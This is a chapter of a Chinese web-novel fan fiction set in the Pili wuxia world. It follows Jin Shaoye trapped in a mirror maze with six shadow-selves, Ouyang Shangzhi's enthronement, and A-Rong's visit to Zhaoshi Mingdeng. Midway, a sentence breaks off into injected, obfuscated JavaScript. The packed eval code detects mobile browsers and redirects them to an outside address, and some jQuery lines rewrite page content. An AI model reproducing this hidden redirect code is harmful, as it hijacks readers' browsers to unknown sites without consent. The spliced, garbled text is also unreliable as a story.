32.第32章
作品:《[霹雳]如何在苦境变成人》 心镜。
金少爷在一片刺目的白光中醒来。
意识如同沉在浑浊的水底,正费力上浮。头颅沉重,眼皮似有千钧,他挣扎数次,才勉强将眼睛睁开一道细缝。
这是……哪儿?
混沌的脑海里,只有这个问题缓慢浮现。他撑起手臂,有些摇晃地坐起身。身下并非土地或石板,而是一种均匀、致密、泛着冷光的奇异材质。
他定了定神,看清周遭,无数个自己,正从四面八方,带着同样迷茫惊愕的神情,回望着他。
高耸至视线尽头的墙壁,光滑如最深寒的潭水,倒映一切。它们并非孤立,而是相互映照,将他的身影复刻、叠加、扭曲,延伸向一片由无尽反射构成的、璀璨而虚无的明亮深渊。
天空,如果那能称之为天空的话,没有日月星辰,只有一片纯粹而不断流转,变幻明暗的白光,均匀地洒下,吞噬了所有阴影,这让镜之囚笼显得更加无处遁形,更加……非人。
记忆的碎片这时才猛地扎进脑海。
追杀……一个貌不惊人的农夫,欧阳世家派来清理门户的狗。
那人的拳掌,慢,却重如山岳;朴拙,却封死了所有闪避的间隙。自己引以为傲的快刀,砍在那人身上,竟连道白痕都难以留下。
最后……是刀锋崩断的锐响,混合着骨骼不堪重负的闷响,然后是席卷一切的黑暗。
金少爷下意识抬手,摸向记忆中被重创的胸口与手臂,没有预想中的剧痛,也没有包扎的粗糙触感。
他低头,愣住了。
身上那件经历恶战。理应沾满血污尘泥,遍布破口的衣衫,此刻洁净如初,毫无痕迹,体内那股几乎将他撕碎的内伤剧痛,也消失得无影无踪,只剩下精神被掏空后的虚浮与混沌。
这不是伤愈,没有哪种医术,能在瞬息间让断骨重生,让血迹蒸发,让布料复原如初。
一股比镜面更冷的寒意,倏地窜上他的脊椎。他缓缓站直,每一个细微的动作,指尖的颤抖,颈项的转动,胸膛的起伏,都被千万个镜像忠实地捕捉、放大、传递至视野的尽头,构成一幅令人头晕目眩、自我复制的盛大图景。
衣服是新的,身体是完好的。
但这里,到底是什么鬼地方?!
就在他心神震荡,几乎要被这无尽的自我凝视逼疯时,异变陡生。
头顶流转的光晕毫无征兆地变换了角度,六道浓黑如墨、边缘锐利的影子,猝然自他脚下刺出,精准地指向六个方位,如同一个将他钉死在原地的,不祥的黑色星芒。
“什么东西?!”
金少爷惊得向后疾退,背脊“砰”地撞上冰冷的镜墙。但那六道影子如附骨之疽,牢牢黏在他的脚下,随着他的移动而扭曲延伸,他猛地抬头,那片被高墙切割出的,流转着白光的天幕,与初醒时并无二致。
他低头死死盯着脚下,只见那六道诡异的黑影,在光线难以捉摸的持续变幻中,被一点点拉长、剥离,像有了生命的黑色粘稠液体,缓缓爬向四周的镜面,然后……悄无声息地融入了镜中那个金少爷的脚下。
而他自己的脚下,空了。
寒意瞬间攥紧了他的心脏。他强迫自己移动视线,扫过林立的镜墙,不是每一面镜子里的他都有影子。
只有六面镜子,对应着方才黑影延伸的六个方向,其中的镜像,脚下拖着那片浓重,不属于他的黑暗。
他的目光,不由自主地锁定在离他最近,也最清晰的那面镜子上。
镜中的金少爷依旧穿着簇新的衣服,身躯完好,但那张脸……虽然轮廓与他一般无二,表情却不再同步。
他看见镜中的自己,嘴角正缓缓勾起一个弧度,那笑容里没有温度,只有满满的,令人脊背发麻的戏谑,眼神也不再是惊惶,而是透着一股懒洋洋的,打量玩物般的兴致。
“你……”金少爷的声音干涩沙哑,在这死寂的空间里却异常清晰,“是谁?!是你把老子弄到这鬼地方的?!”
镜中人歪了歪头,动作带着一种金少爷绝不会有的,故作天真的恶意。然后,他开口了,声音与金少爷的一般无二,却像隔着厚重的水层传来,带着诡异的叠音与回响:
“我是谁?”镜中人笑了,那笑容扩大,显得愈发不真实,“我是你啊。我是金少爷啊。”
“我是你啊。”
“我是金少爷啊。”
“……金少爷啊……”
重重叠叠的声音,并非来自一面镜子,其他五面拥有影子的镜中,那些金少爷也同时转过了脸,望向了真实世界的他,他们的表情,在声音响起的刹那,彻底脱离了本尊的掌控,凝固成截然不同的情态:
镜中人们笑了起来,那笑声像碎玻璃刮擦着寂静。
离他最近的那个,笑容里的戏谑几乎要溢出来,他慢条斯理地抬起手,模仿着金少爷握刀的习惯,但指尖却轻佻地弹动着,仿佛在拨弄不存在的琴弦。“看看你这副样子,”
他啧啧有声,眼神轻蔑,“像只掉进水里的猫,除了炸毛和乱叫,还会什么?真茫啊,对吧?你现在是不是满脑子只剩这句话了?”
紧接着,金少爷右手边的镜子里,那个他脸上的表情骤然消失,取而代之的是一片深不见底的漠然。眼神空洞,仿佛两个吞噬一切光线的漩涡。
“茫然?”空洞的那个开了口,声音平直,没有起伏,“茫然有什么不好?杀人为了什么?活着为了什么?你知道答案吗?你什么都不知道。一片虚无,才是永恒。”
他的身影在镜中似乎变得有些透明、稀薄。
“闭嘴!”第三个镜像猛地咆哮出声,那声音里充满了金少爷熟悉的、一点就燃的暴怒。这个镜像双目赤红,拳头攥得咯咯作响,脚下的黑影如同沸腾的沥青般翻滚。
“哪来那么多废话!老子不管这是哪儿,是谁搞的鬼!敢耍我,就得死!把你们全砍了,这鬼地方自然会破!”他仿佛随时要撞破镜面扑杀出来。
在愤怒镜像的侧后方,第四个镜像沉默着。
他没有看金少爷,而是微微仰头,望着流转白光的天幕,侧脸线条绷紧,带着一种孤狼般的冷硬与疏离。
他脚下的影子拉得极长,笔直而孤独,仿佛一道将他与整个世界隔绝开来的墨线。他没有说话,但那种遗世独立的隔绝感,比任何咆哮都更有压迫力。
第五个镜像则截然不同。他站得笔直如松,右手虚握,仿佛持着一柄无形的刀。他的眼神锐利如鹰隼,从头到脚仔细地打量着真实的金少爷,从发梢到指尖,每一寸肌肉的线条,每一个细微的站姿破绽,都没有放过。
那目光里没有情绪,只有评估、挑剔,以及一种对完美与强大近乎苛刻的执着。
“你的刀呢?”他冷冷地问,“连刀都握不住的人,也配叫天下第一刀?漏洞百出,软弱不堪。”
最后,金少爷的目光,被牵引到第六个,也是离他最远,光线似乎也最晦暗的那个镜像上。
那个他,没有像其他镜像那样站着。他蜷缩在镜子的角落,双臂紧紧抱着膝盖,把头深深埋了进去。只能看到一个微微颤抖的、瘦小的背影。
他没有丝毫威胁,甚至没有抬头看外界一眼,但他脚下的那片黑影,却最为浓稠,仿佛能滴下墨汁,而且不断向四周浸润,带着一种无声的,庞大的悲伤与恐惧。
仅仅是看着那个背影,金少爷的心脏就莫名地一阵抽紧,一股混杂着酸楚、委屈和冰冷绝望的情绪,毫无征兆地涌上喉咙,堵得他几乎无法呼吸。
六个镜像,六种截然不同的面向,如同六把冰冷的解剖刀,将金少爷混沌一团的内在彻底剖开、陈列。
“金少爷。”
一个声音再次响起,冷静、威严,没有任何情绪起伏,赫然是他自己的声音,却又像是从极高极远,乃至他身体内部的虚无中传来。
“你的影子,被此地的镜魔夺去,分置六镜之中,想要离开,你需要在这迷宫里找到对应的镜子,进入镜子打败镜魔,才能夺回你的影子。”
那冰冷的声音落下后,空间再度陷入死寂。六个镜中“自己”也恢复了同步的静默,只是他们脸上那各异的表情并未改变,如同六幅定格的面具,在万千个麻木复刻的镜像中,显得格外刺眼。
“找到镜子……打败镜魔……夺回影子……”金少爷咀嚼着这几句话,一股烦躁夹杂着被愚弄的怒火涌了上来。
“装神弄鬼!”他低吼一声,不再看那些诡异的镜像,猛地转身,朝一个方向大步走去。
他需要离开这个该死的镜厅中心,脚下那种均匀的、微凉的触感延伸到目光所及的所有地方。四周是高耸的镜墙,形成了错综复杂的通道。
他随意选了一条走进去,立刻被自己的身影包围,脚步声在绝对安静的环境里被放得很大,嗒、嗒、嗒……伴随着无数个他同步移动,那声音仿佛被复制了千万倍,从四面八方压迫回来,敲打着他的耳膜和神经。
走了约莫一炷香的时间,周围景象几乎没有任何变化,一模一样的镜墙,一模一样的岔路,头顶是永恒流转的白光。
他尝试记住来路,但所有的镜子都映照着同样的内容,所有的通道都似曾相识。他很快意识到,这是一个精心设计的迷宫。
更让他心头微沉的是,那六个特别的镜像,自他离开中心区域后,就再也没有看到过,它们仿佛只存在于那个初始的房间,难道要回到原点?这个念头让他更加烦躁。
“喂!装神弄鬼的混蛋!出来!”他停下脚步,对着空寂的迷宫吼道。声音在镜壁间碰撞、回荡,层层叠叠的“出来……出来……出来……”最终消散,没有任何回应。
他强迫自己冷静下来,盲目乱走毫无意义。那个声音说找到对应的镜子,那六面镜子一定藏在这个迷宫的某个角落。
怎么找?他回想起醒来时看到的异象,影子,那六道黑影从自己脚下剥离,融入了镜中,而那些特别的镜像……他们脚下有影子,而我没有。
这是一个线索,他开始有意识地观察经过的每一面镜子,绝大多数镜子里的他,脚下同样是空的,完美地反射着现实,但走了很久,他都没有再发现任何脚下有影子的镜像。
寂静开始滋生焦虑,时间感在这里变得模糊,只有无尽的白光,冰冷的镜面和无数个沉默的自己陪伴着他,那种被世界遗忘,自我也被无限稀释的虚无感,悄然侵蚀着他的意志。
“真茫啊……”他无意识地吐出了这句口头禅,声音里带着一丝连自己都未察觉的疲惫。
就在这时,一阵极其轻微,几乎像是错觉的声响飘了过来,是……笑声?很轻佻,带着嘲弄的味道。金少爷猛地站定,屏息凝神,声音又消失了。
是幻听吗?在这绝对安静的地方待久了,耳朵自己生出幻觉也不奇怪。
他摇摇头,继续前行。拐过一个弯道,前方镜廊的远处,似乎有一个他,脚下的地面颜色似乎……深了一点点?他心头一跳,加快脚步走过去。但当他靠近,那点深色却消失了,镜子里的他和周围无数个他毫无区别,脚下空空如也。他伸手触摸镜面,冰冷坚硬,无法穿透。
“假的?”他皱紧眉头,有些不甘心,又用力推了推,镜面纹丝不动。
这似乎是某种提示,镜魔可能通过镜子的反射,制造出虚假的影像来迷惑他,真正的目标镜子,可能藏在别处。
他改变了策略,不再快速奔走,而是放慢脚步,更加仔细地观察镜中世界的细微差别,同时竖起耳朵捕捉任何异响。
有时,他会听到某个方向传来模糊的低语,像是很多个自己在同时喃喃自语,内容听不真切;有时,眼角余光会瞥见某个镜像似乎动了一下,做出了与他不同的动作,但定睛看去,又恢复了同步。
一次,他清晰地听到了那个充满暴怒的声音在咆哮:“砍了!全砍了!”声音似乎来自右手边的通道。
他立刻冲过去,却只看到一条空荡荡的镜廊,声音也戛然而止,他沿着那条路仔细搜寻每一面镜子,甚至用手逐一敲打,都是实心的,无法进入。
经验在失败中累积:
声音和异常的影像可能是线索,但也可能是陷阱,是镜魔通过镜子反射制造的远程幻象。
真正的入口镜子,可能外表并无特别,但靠近时或许有不同感觉,或者……需要满足某种条件才能进入。
最关键的特征依然是影子,任何可疑的镜像,首先要看它脚下。
在金少爷在心镜里找影子的同时,无极殿中,人声鼎沸。
前些日子,欧阳上智在公开亭上称为武林至尊,连创建名人榜的素还真都败在他的手下,武林中有名的人物都是他的义子,比如名人榜里的天下第一毒:沙人畏、天下第一掌:史艳文、天下第一巧:一线生、天下第一术:荫屍人,甚至欧阳世家本身就是名人榜里的天下第一辩。
今天是欧阳上智正式登临武林至尊的日子,武林万教众人皆来无极殿参拜武林至尊,令刚建成没多久的无极殿甚是喧闹。
阿容来的时候,无极殿里已经有很多人了,他们格列左右,有人或许在小声说些什么,但更多是静穆,等待着武林至尊发话。
阿容步入无极殿时,并未引起太多注意。她穿着绿色的衣衫,发髻简单,夜月留在了月中天,看起来就像误入盛会的寻常女子。
只有极少数敏锐者,如一线生、中垚、素还真和谈无欲,以及高台之上的欧阳上智,的目光在她身上停留了片刻。
她没有走向任何一边的队列,也没有靠近高台,只是在殿门内侧的阴影边缘寻了处不显眼的位置,静静站定,像一株偶然生长在殿角的植物。
欧阳上智眼中的喜悦一闪而过,随即被更深的、只有他自己明白的复杂情绪覆盖。他太了解这个弟子了。
阿容喜欢淡淡的日常生活,若不是这次请她出来做任务,她不知道要在月中天待多久,她向来如此,做完任务了就走。
她的目光与高台上的欧阳上智,短暂地相接了一瞬。
没有言语,没有表情。
但在那一瞬间,信息已经交换完毕。
欧阳上智的眼神在说:“你来了。很好。看看,这就是为师为你打下的,并即将亲手稳固的秩序。”
那里面有一丝罕见的,近乎展示成果的意味,以及更深处的试探,他想知道,这个他最杰出的、却最难以掌控的作品,会如何看待这作业的最终呈现。
阿容的眼神平静无波,如同古井映照出对方的影像,却未起半分涟漪。
她的回应是:“我看见了。这是你选择的道与果。”
没有评价,没有归属,仅仅是一种客观的确认,如同一个完成了模型搭建的学生,安静地站在一旁,看着导师将模型推向现实,心中计算的却是模型运转的耗能与可能出现的应力裂纹。
当欧阳上智的演说告一段落,殿中响起参差不齐却足够响亮的恭贺至尊之声时,阿容微微动了一下。
她不是要行礼,也不是要上前。
她只是极轻地,几乎无人察觉地,几不可闻地叹了口气。那叹息里没有惆怅,没有遗憾,只有一种了然的疏离。
仿佛在说:“看,这就是人间,热闹,喧嚣,充满仪式与算计,而我,该回去了。”
阿容的叹息消散在殿内喧嚣的潮水中,像一粒投入深潭的细砂,未惊起半分涟漪。
高台之上,欧阳上智已收敛了那丝微不可察的展示欲,恢复了武林至尊应有的、俯瞰众生的威仪。他目光扫过殿下噤若寒蝉的群雄,嘴角噙着一丝冰冷而满意的弧度。
“素还真,谈无欲。”他的声音不高,却清晰穿透大殿。
被点名的二人出列,躬身听令。
“照世明灯,目无至尊,暗通叛逆。本座命你二人,取其首级来见。”命令简短,残酷,不容置疑。
素还真与谈无欲眼神皆是一凛,却未多言,只齐齐应声:“是。”
随即,两人便在一众复杂的目光注视下,转身离开了无极殿。
阿容的目光随着他们的背影,在殿门口停留了一瞬,随即收回,她似乎看到了素还真平静面容下的汹涌暗流,也看到了谈无欲眼中一闪而过的,更复杂的光。
恰在此时,沙人畏快步趋前,高声禀报:“启禀至尊,月中天使者到,献上王者之座,恭贺至尊登临大位!”
殿中微微骚动,月中天向来神秘,其贺礼非同小可,欧阳上智眼中喜色更浓:“呈上!”
一座通体晶莹,似玉非玉,造型古朴威严的巨大座椅被抬了上来,置于高台中央,座椅散发着淡淡的,令人心慑的寒气与威压,仿佛天生就该由王者踞坐。
阿容的目光在那晶莹的王座上游移片刻,最终落回高台之上,欧阳上智那张被野心与智谋淬炼得波澜不惊的脸上。
她并未动用任何超越凡俗的感知力,仅仅凭借已知的信息碎片月中天、萧竹盈、前些时日的隐秘动向和对欧阳上智行事逻辑的深刻理解,便已将这即将上演的戏码拼凑出了七八分轮廓。
假死脱身,以王座为祭,以爆炸为幕。从光耀万丈的至尊,重归无踪无形的暗影,以此试探人心,甄别忠奸,将不可控的明面风险转化为暗处的绝对掌控。
很精彩的设计,极具欧阳上智的风格,宏大、戏剧化、且将所有人,包括他自己,都置于残酷的天平上衡量,这确实是课业的最终呈现,一场以整个武林为舞台,以人心为筹码的终极测试。
阿容静静地想着,心中无悲无喜,只有一种近乎冰冷的澄澈,她能理解这每一步计算的精妙,也能预见那一声轰鸣后必将引发的混乱、猜疑、背叛与杀戮。
阿容的目光,再次落回那晶莹剔透、散发着凛然寒气的王者之座上。预见的碎片在她意识中快速拼合:轰鸣、火光、坍塌的殿堂、惊惶的人群、骤然倒下的至尊……以及紧随其后,必将席卷而来的、更猛烈的风暴。
她清晰地看见了欧阳上智的棋盘,也看见了棋盘之外,虎视眈眈的阴影,南霸天磨刀霍霍,齐天塔伺机而动。
欧阳上智此计,意在过滤内部,巩固暗影中的绝对掌控,但他算漏了一点,或者说,他过于自信于即便自己死去,也能凭借过往布局和人心惯性稳住局面。
“今时不同往日。” 阿容在心中默默重复。二十年前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913497|191424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江湖与此刻的武林,早已不是同一片水域。
素还真的臣服之下是深不可测的静流,谈无欲的听令背后是未曾熄灭的星火。
外患如狼环伺,内部若再经历一场至尊猝死引发的剧烈动荡与信任崩塌,欧阳世家这艘看似无敌的巨舰,恐怕未及转向,便要先在内外交攻的惊涛骇浪中龙骨呻吟。
欧阳上智追求的是绝对掌控与人心试炼的纯粹性,为此不惜亲身涉险,将自身也投入熔炉,这确实是他会做出的、最具其个人风格的选择,充满了智者的自负与枭雄的狠绝。
而阿容,她的算法核心永远是损耗评估与可能性存续。
在众人或狂热、或畏惧、或算计的注视下,欧阳上智缓缓步向那晶莹王座,他的姿态从容而威严,仿佛每一步都踏在命运的鼓点上。
阿容的指尖,在绿色衣衫的袖中几不可察地动了一下。
没有能量的波动,没有信息的刻意传递,那更像是一种……基于庞大计算后,下意识的、极其微小的干扰意图,如同清风想要改变一片雪花的落点,并非为了阻止雪落,只是觉得那个落点或许太冷。
她最终什么也没做。
没有预警,没有干涉,她只是将那声几不可闻的叹息,彻底抿入唇间。
因为,她同样看见了另一种可能性。
若欧阳上智此计成功,固然风险巨大,但若能迅速平定内部,或许能凝聚出一股短暂而强大的反弹力,应对即将压境的外敌。
这是险招,也是奇招,而她,没有资格,也没有意愿,去替他选择更安全却可能更平庸的路。
“这是你选择的道与果。”她再次确认了这一点。
她的责任,或者说,她基于那点未尽的师徒情分与对欧阳世家这个复杂存在本身的一丝惯性维系,所能做的,并非改变他的选择,而是……在他选择的道路上,轻轻推走一颗可能提前引爆的、无关紧要的小石子,或者,在爆炸发生后,为那片废墟中可能残存的,值得存续的生机,预留一丝极其微渺的,连当事人可能都察觉不到的余地。
欧阳上智已在那象征着无上权柄的晶莹王座上落座,接受着殿内更加响亮的朝拜。他的目光,有那么一瞬,似乎再次扫过了殿角阴影处。
阿容避开了那目光。
她悄然转身,像一抹融入背景的淡色,无声地退出了喧闹无极殿。殿外的阳光有些刺眼,与她来时并无不同,只是风中似乎夹杂了更远的,来自南方的燥热与铁锈气息。
她没有回月中天。
而是向着素还真与谈无欲离去的大致方向,不紧不慢地走去。
她不知道那两人会如何对待照世明灯,那并非她此刻关心的重点。
她只是觉得,在风暴可能来临前,有些熟人的身边,或许更需要一阵能让人稍微清醒片刻的微风,或者,一把可能用来在绝境中敲晕自己而非敌人的,未出鞘的凡铁刀。
阿容的脚步轻缓,身影在阳光下显得有些单薄,却又带着一种奇异的,与周遭喧嚣格格不入的恒定。
她不是在走向某个事件的中心。
她只是,在自己的道路上,为那些她认为活着或许更有希望的人与事,习惯性地,保持着一个不至于太远,也永远不会太近的,守望的距离。
阿容走得慢,但也不慢,至少她走到的时候,素还真和谈无欲已经被人叫回去了,她走到了疲惫的照世明灯面前。
照世明灯眉宇间带着战斗与精神紧绷后的疲惫,他没想到,自己刚摆脱素还真与谈无欲,便又迎来了一位意想不到的访客。
阿容站在不远外,绿衣几乎与身后的树丛融为一体,她没有刻意隐藏气息,但直到开口,慈郎才恍然惊觉她的存在。
“我想要见叶小钗。”
她的声音平和,没有请求,也没有命令,只是陈述一个意图,清晰直接得让慈郎一时怔住。
他迅速打量她,很年轻的女子,样貌清丽柔和,眼神却有种超乎年龄的平静,甚至……空旷,她身上没有杀气,没有江湖人常见的算计或焦躁,只有一种近乎置身事外的专注。
照世明灯认不出她是谁,但她能寻到这里,开口便是叶小钗,显然不是寻常人物。
“姑娘是?”慈郎起身,保持戒备,语气谨慎。
“阿容。”她报上名字,仿佛这两个字足以解释一切,见照世明灯眼中疑惑未消,她想了想,又补充了一句,语气依旧平淡:“算是萧竹盈的旧识吧。”
“哦?”照世明灯眉头轻皱,甚是不明白,为何阿容姑娘要来找他见叶小钗,“姑娘说的是刀狂剑痴吗?我也曾听闻并未见过。”
阿容感知到此处附近有人在,也感知到照世明灯手里灯火有生命的气息,甚至在听到她口中的萧竹盈时,气息变得惆怅了,她知道叶小钗在照世明灯身边。
“我知道他在你身边,我也并不是真的要见他,既然不想出来那算了。”
阿容知道此行大概率是见不到人的,但江湖洪流哪管你是否愿意,总是要牵扯出来的,二十几年的恩恩怨怨躲是躲不掉的。
“前辈,我想你能帮我给叶小钗托句话。”她恭敬地先行了一礼。
照世明灯用提灯提起她的手,“阿容姑娘,真不是我不帮你,我真的没有遇见过叶小钗。”
阿容的手被慈郎提灯托住,她的手臂纹丝未动,只是目光平静地看向那盏散发着柔和光晕的灯火。
“前辈的灯,很暖和。”她说了一句似乎不相干的话,随即收回手,不再坚持行礼,她的视线从灯火移向慈郎身后那片看似空无一物的阴影,声音依旧平缓,却带上了一丝极淡的、近乎叹息的穿透力。
“叶小钗,我只是想告诉你,风雨来了,二十几年前的恩怨并未彻底完结,随着旧人的登场,也跟着翻涌出来。”她顿了顿,仿佛在斟酌最简洁的用词,“旧人再相见的时候,能否解释几分,她困在了过去许多年了。”
照世明灯手中的灯火,在那句话落下的瞬间,极细微地摇曳了一下。
不是风。
阿容的目光依然平静地落在灯焰上,仿佛刚才那句穿透阴影的话语,不过是寻常的问候。她不再看向那片阴影,转而望向远处无极殿的方向,那里依旧隐约传来喧嚣,但某种更深沉的,紧绷的寂静,似乎正在那喧嚣之下蔓延。
她收回视线,对着神色复杂的照世明灯轻轻颔首。
“话已带到,前辈保重。”
没有等待回应,也没有解释更多,阿容转身,绿衣拂过林间微尘,步伐依旧不紧不慢,如来时一般。
就在她即将步入林外阳光的刹那——
一道极其细微的,几乎难以察觉的破空声。
不是刀,不是剑,是一小截枯枝,精准地落在她身前半步的地面上,无声无息,却带着一种不容置疑的存在感。
阿容的脚步顿住,没有回头,只是侧耳,仿佛在倾听风带来的,更细微的声音。
她没有等到第二截枯枝,也没有等到任何言语或身影。
但她感知到了,那盏温暖灯火旁,原本空寂的阴影里,某种沉寂了太久的、厚重如铁锈般的气息,被撬开了一丝缝隙。
缝隙里涌出的不是杀意,不是愤怒,而是一种更深沉、更钝重的……疲惫,与一丝几乎被岁月磨灭的、近乎痛楚的涟漪。
够了。
阿容弯腰,拾起那截枯枝。枯枝轻若无物,在她指尖却仿佛承载着千言万语无法言说的重量,她没有丢掉它,而是将它收入袖中,与那柄未出鞘的凡铁短刀放在一处。
“我知道了。”她对着空气,也对着那盏灯,极轻地说了一句。
然后,她真正地离开了,身影融入林外更广阔的天光与尘土之中。
她没有再去寻找素还真或谈无欲,该吹过的风,总会吹到;该敲响的警钟,不差她这一记微弱的回音。
她只是向着更远离喧嚣的方向走去,心中那片庞大而精密的信息图景上,属于叶小钗与萧竹盈的两个孤点之间,那团缠绕了二十余年,近乎死结的因果乱麻,似乎因她这轻轻一触,有了一根线头,极其微小,却真实地松动了一瞬。
至于这根线头最终会被谁握住,又会牵引出怎样的崩塌或重建,那不是她能控制,也并非她想控制的。
她的守望,从来不是干预命运的流向。
只是在洪流冲刷堤岸时,为那些可能被卷走的,仍有绿意的草籽,轻轻覆上一撮土。
在风暴眼的边缘,为自己在意的那一小片人间,保留一份静默的,随时可以抽身而退的……观察与可能性。
阿容的身影,终于彻底消失在道路的尽头。
而她带来的那句话,如同她投入阴影的那粒细砂,已在寂静中开始沉降,等待着在未来的某个时刻,激起无人预料的回响。
照世明灯久久凝视着她离去的方向,手中的灯火似乎比往常更沉了一些,他身后的阴影里,传来一声几不可闻,悠长而压抑的呼吸。
武林至尊的登基大典,依旧在远方喧哗。
但有些更古老的风雨,已在这片林间无人知晓的寂静里,悄然酝酿起了第一滴,沾湿前尘的雨意。

